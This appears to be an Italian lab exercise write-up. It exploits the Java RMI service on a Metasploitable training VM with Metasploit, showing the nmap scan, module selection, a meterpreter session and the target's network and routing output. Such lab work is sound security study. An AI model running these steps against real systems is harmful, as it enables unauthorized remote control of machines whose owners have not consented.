

Il Progetto di oggi prevede l'utilizzo del tool metasploit per sfruttare una vulnerabilità presente nel sistema metasploitable, ovvero la vulnerabilità java-rmi.

Prima di procedere, diamo qualche definizione.

Cos'è un exploit?

Con il termine exploit facciamo riferimento ad una porzione di codice che sfrutta una vulnerabilità presente all'interno di un sistema operativo, di un servizio, o di una applicazione per poter ottenere accesso non autorizzato alla macchina, lanciare un attacco al sistema oppure causare comportamenti non voluti. A differenza dei malware, che creano loro stessi la vulnerabilità, gli exploit necessitano che vi sia già presente nel target per poterla sfruttare. Uno degli obiettivi di un exploit è quello, ad esempio, di poter creare una shell (ovvero un terminale) per eseguire comandi all'interno della macchina target.

Cos'è metasploit?

Metasploit è un tool, che si può utilizzare sia da riga di comando che tramite web UI, che permette la creazione e l'utilizzo di exploit automaticamente. Per poter funzionare richiede, a seconda dell'exploit, determinati parametri da impostare e un payload. Con il termine payload facciamo riferimento ad un insieme di istruzioni che vengono iniettate nella macchina target. Queste istruzioni permettono ad esempio la creazione di una shell di comando. Un esempio di payload, che useremo oggi, è meterpreter che permette la creazione di una shell interattiva.

Cos'è la vulnerabilità java-rmi?

La vulnerabilità java-rmi si basa su un meccanismo che permette ad un oggetto esistente nella virtual machine di poter accedere e richiamare altri metodi presente in un'altra macchina virtuale. Molto simile alle procedure RPC (remote procedure call) che permettono l'esecuzione di un programma o subroutine da remoto. Nel nostro caso sfrutteremo questa vulnerabilità per creare una sessione meterpreter.

Prima di iniziare occorre sapere su quale porta è attivo il servizio vulnerabile, per scoprirlo useremo il tool nmap tramite il seguente comando: **nmap -sV -T4 192.168.5.220**. Otterremo questa schermata di seguito.

La vulnerabilità *java-rmi* è presente e attiva sulla **porta 1099**.

OBIETTIVI

- Recuperare informazioni sulla configurazione di rete
- Recuperare informazioni sulla tabella di routing

```
(kali@kali)-[~]
$ nmap -sV -T4 192.168.5.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-26 05
Nmap scan report for 192.168.5.220
Host is up (0.00038s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (p
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine
```

Una volta effettuata la scansione tramite nmap possiamo aprire il tool metasploit per procedere.

Facciamo quindi una ricerca tra gli exploit disponibili con il comando **search java_rmi** per trovare quello di nostro interesse ovvero : *exploit/multi/misc/java_rmi_server*.

1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure
Default Configuration Java Code Execution					
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure
Endpoint Code Execution Scanner					
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl De
serialization Privilege Escalation					

Procediamo quindi con l'impostazione dei parametri essenziali affinché l'exploit possa funzionare. Nel nostro caso ci occorre impostare solamente l'indirizzo IP della macchina target, in quanto gli altri parametri (come la porta) sono già stati preimpostati.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.5.220
rhosts => 192.168.5.220
```

Eseguiamo quindi l'exploit, che ci darà come risultato una sessione di meterpreter con la macchina target.

Possiamo a questo punto procedere con le tasks assegnate: recuperare informazioni riguardo la configurazione di rete e riguardo la tabella di routing della macchina target.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.5.220
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:febb:c64d
IPv6 Netmask : ::
```

Per fare ciò ci avvarremo di due comandi di meterpreter: **ifconfig** e **route**, che ci permetteranno di vedere rispettivamente la configurazione di rete e la tabella di routing della macchina target.

Qui a fianco possiamo notare che le due interfacce di rete presenti sulla macchina metasploitable sono l'interfaccia locale di loopback (ovvero l'indirizzo Ipv4 127.0.0.1) e l'interfaccia ethernet0 (overro l'indirizzo Ipv4 192.168.5.220).

Sotto, è invece riportata la tabella di routing presente all'interno della macchina.

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.5.220 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:febb:c64d ::           ::           0            eth0
```

Come abbiamo potuto dimostrare oggi, tramite una vulnerabilità presente nel sistema siamo in grado di creare una sessione meterpreter e istruire comandi, avendo il completo accesso e controllo alla macchina target.